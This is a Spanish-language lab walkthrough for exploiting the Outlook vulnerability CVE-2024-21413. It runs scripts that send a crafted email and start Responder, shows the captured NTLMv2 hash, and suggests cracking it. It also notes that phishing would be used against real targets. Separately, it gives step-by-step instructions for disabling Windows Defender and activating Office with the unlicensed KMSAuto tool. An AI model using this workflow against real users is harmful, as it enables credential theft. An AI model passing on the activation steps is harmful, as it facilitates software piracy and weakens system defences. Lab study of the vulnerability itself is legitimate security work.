CVE-2024-21413 (Outlook)
Lo que primero tendremos que hacer es instalar en nuestro hipervisor
un Windows 10
, una vez estando dentro de la maquina tendremos que ejecutar los siguiente comandos.
Instalación laboratorio
hMailServer
Tendremos que crear un servidor en local para crear los dos correos los cuales uno sera el del atacante
y otro el de la victima
, por lo que tendremos que descargar la herramienta llamada hMailServer
para Windows
.
URL = Download hMailServer
NOTA IMPORTANTE
Antes de instalar hMailServer
puede ser que de un error en la instalacion, por lo que instalaremos de forma manual una dependencia que necesita dicho programa llamada NetFx20SP1_x64
, nos la descargaremos en el siguiente link:
URL = Download NetFx20SP1_x64
Una vez instalado dicha dependencia ejecutaremos el instalador de hMailServer
, una vez que se haya instalado siguiendo todos los pasos por defecto (Estableceremos una contraseña para el servidor en el proceso de instalacion), abriremos el ejecutable y nos aparecera una pantalla como esta:

Tendremos que darle a Connect
, meteremos las password
que configuramos anteriormente en el proceso de instalacion y le daremos a Ok
, esto nos metera en un menu con las opciones del servidor de correo, las cuales tendremos que configurar de la siguiente forma:
Le daremos a Add Domain...
-> En la parte de Domain
pondremos el dominio que queremos que tenga, por ejemplo victim.local
-> Save
Y con esto habremos creado el dominio, si nos vamos a la parte de Domains
-> <NUESTRO_DOMINIO>
-> Accounts
-> le daremos Add...
para añadir una cuenta de correo bajo dicho dominio, por lo que le nombraremos por ejemplo en Address
como victim
-> Save
y el mism proceso pero creando el de attacker
, quedando algo asi:

Ahora nos iremos a la seccion de Settings
-> Protocols
-> SMTP
-> Delivery of e-mail
-> en localhost name
pondremos la IP de la maquina victima y en SMTP Relayer
-> Remote Host Name
pondremos la misma IP de la maquina victima
Con esto ya estaria configurado nuestro servidor de correo.
Office + Outlook
Tendremos que instalar Office
para de ahi instalar solo Outlook
, por lo que utilizaremos una herramienta llamada KMSTools
:
URL = Download KMSTools
Tendremos que desactivar el Windows Defender
para descomprimir y ejecutar esta herramienta:
Buscaremos Seguridad de Windows
-> Proteccion Antivirus y contra amenazas
-> Configuracion de Antivirus y contra amenazas
-> Administrar la configuracion
-> Desactivamos la casilla de Proteccion en tiempo real
.
Una vez echo esto descomprimiremos el archivo, lo que sera una carpeta que usaremos mas adelante y el ejecutable llamado KMSTools.exe
, se abrira una interfaz en la que pulsaremos Instalar Office 2019
y nos aparecera una ventana en la que tendremos que seleccionar la arquitectura de x64
, el idioma en es-ES
y deseleccionar todo dejando solo la opcion de Outlook
de la parte izquierda, le daremos a Instalar
.
Una vez que se haya instalado todo correctamente, abriremos la carpeta llamada Programs
-> KMSAuto Lite Portable v1.5.5
-> Ejecutamos el archivo llamado KMSAuto x64.exe
.
Con esto lo que haremos sera activar Office
con una licencia, seleccionaremos Activar Office
cuando nos pregunte si estamos seguros le daremos a que si
, este proceso puede tardar un poco, pero cuando ponga Succesful
significa que ya podremos abrir OutLook
de forma activada y con licencia.
Añadir cuentas de correo a Outlook
Tendremos que abrir Outlook
, si lo abrimos por primera vez nos aparecera algo asi:

Por lo que en esa parte tendremos que poner la primera cuenta de correo que en mi caso seria victim@victim.local
seguir todos los pasos para añadir la cuenta y seguidamente añadir otra que seria la de attacker@victim.local
asignandole una contraseña a cada una de ellas, una vez terminado el proceso de añadir dichas cuentas, ya podremos intentar explotar dicha vulenrabilidad.
En tal caso de que ya tengamos el Outlook
con unas cuentas, para añadir mas tendremos que darle a Archivo
-> Informacion
-> Agregar Cuenta
Explotación CVE-2024-21413
Como ya tendremos añadidas las cuentas de correo en dicha maquina, podremos hacerlo con los scripts que estan en el siguiente repositorio:
URL = GitHub CVE-2024-21413
NOTA
En un entorno real se tendra que utilizar alguna cuenta de correo en forma de suplantacion o un phishing
para obtener dicho correo.
Una vez teniendo los scripts, tendremos que ejecutar primero:
python3 exploitSendEmailOutlook.py
Info:
╭─────────────────────────────────────────────────────────────────────────────────── Email Exploit Tool ────────────────────────────────────────────────────────────────────────────────────╮
│ Herramienta de Envío de Correo Exploit │
│ Automatiza el envío de correos con fines educativos y de prueba. │
╰───────────────────────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────────────────────╯
Introduce el correo electrónico del remitente (attacker): attacker@victim.local
Introduce el correo electrónico del destinatario (victim): victim@victim.local
Introduce la contraseña del remitente:
Introduce la IP del servidor SMTP: 192.168.5.194
Resumen de la información ingresada:
- Remitente: attacker@victim.local
- Destinatario: victim@victim.local
- Servidor SMTP IP: 192.168.5.194
¿Quieres proceder con el envío del correo? (si/no) [s/n]: s
Intentando conectar al servidor SMTP...
Conexión establecida con el servidor SMTP.
Intentando iniciar sesión en el servidor SMTP...
Autenticación exitosa.
Enviando correo...
Correo enviado exitosamente.
Para enviar el correo a la victima siguiendo los pasos del script, despues tendremos que ejecutar seguidamente el siguiente script:
python3 captureHashResponder.py
Info:
╭──────────────────────────────────────────────────────────────────── Responder Runner ─────────────────────────────────────────────────────────────────────╮
│ Herramienta de Ejecución de Responder │
│ Un script para ejecutar el comando Responder con estilo. │
╰───────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────╯
Introduce la interfaz de red (ejemplo: eth0, wlan0, etc.): eth0
Has seleccionado la interfaz: eth0
¿Quieres proceder con el comando? (si/no) [s/n]: s
Ejecutando comando: sudo responder -I {interface} -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.5.186]
Responder IPv6 [fe80::30c1:636f:f2b6:3224]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
[+] Current Session Variables:
Responder Machine Name [WIN-398S1PLA1HZ]
Responder Domain Name [7FKZ.LOCAL]
Responder DCE-RPC Port [46910]
[+] Listening for events...
Para estar a la escucha cuando el usuario clicke el enlace y nos llegue los hashes
NTLMv2
El usuario en la maquina Windows
podremos ver que nos llega el correo, por lo que si le damos a Click aqui
, tendremos que confirmar que si
a que queremos continuar y nos dara un error, por que sea esta intentando conectar a un recurso samba
que no existe, para el usuario sera algo normal, pero en la maquina atacante, podremos ver que obtuvimos el hash NTLMv2
del usuario donde tenemos la escucha.
[HTTP] Sending NTLM authentication request to 192.168.5.194
[WebDAV] NTLMv2 Client : 192.168.5.194
[WebDAV] NTLMv2 Username : DESKTOP-LAJ79G5\victim
[WebDAV] NTLMv2 Hash : victim::DESKTOP-LAJ79G5:adaa9c32fec22d78:1421E09CFD2A7473B5823C9B0DC85837:0101000000000000A95CFDFA3546DB0116F397A8DD6E6C2900000000020008004700370036004D0001001E00570049004E002D00570055004C0051004D0042004D0052005A0056004400040014004700370036004D002E004C004F00430041004C0003003400570049004E002D00570055004C0051004D0042004D0052005A00560044002E004700370036004D002E004C004F00430041004C00050014004700370036004D002E004C004F00430041004C00080030003000000000000000000000000030000038EBDB2DDF593E53E76A4E873E3326621E3F5AC29A4DCBD27FC921C7BF0B5A6B0A0010000000000000000000000000000000000009002E0048005400540050002F00760069006300740069006D002E006C006F00630061006C0064006F006D00610069006E000000000000000000
Por lo que ya tendremos que intentar crackearlo con john
o hashcat
.
Last updated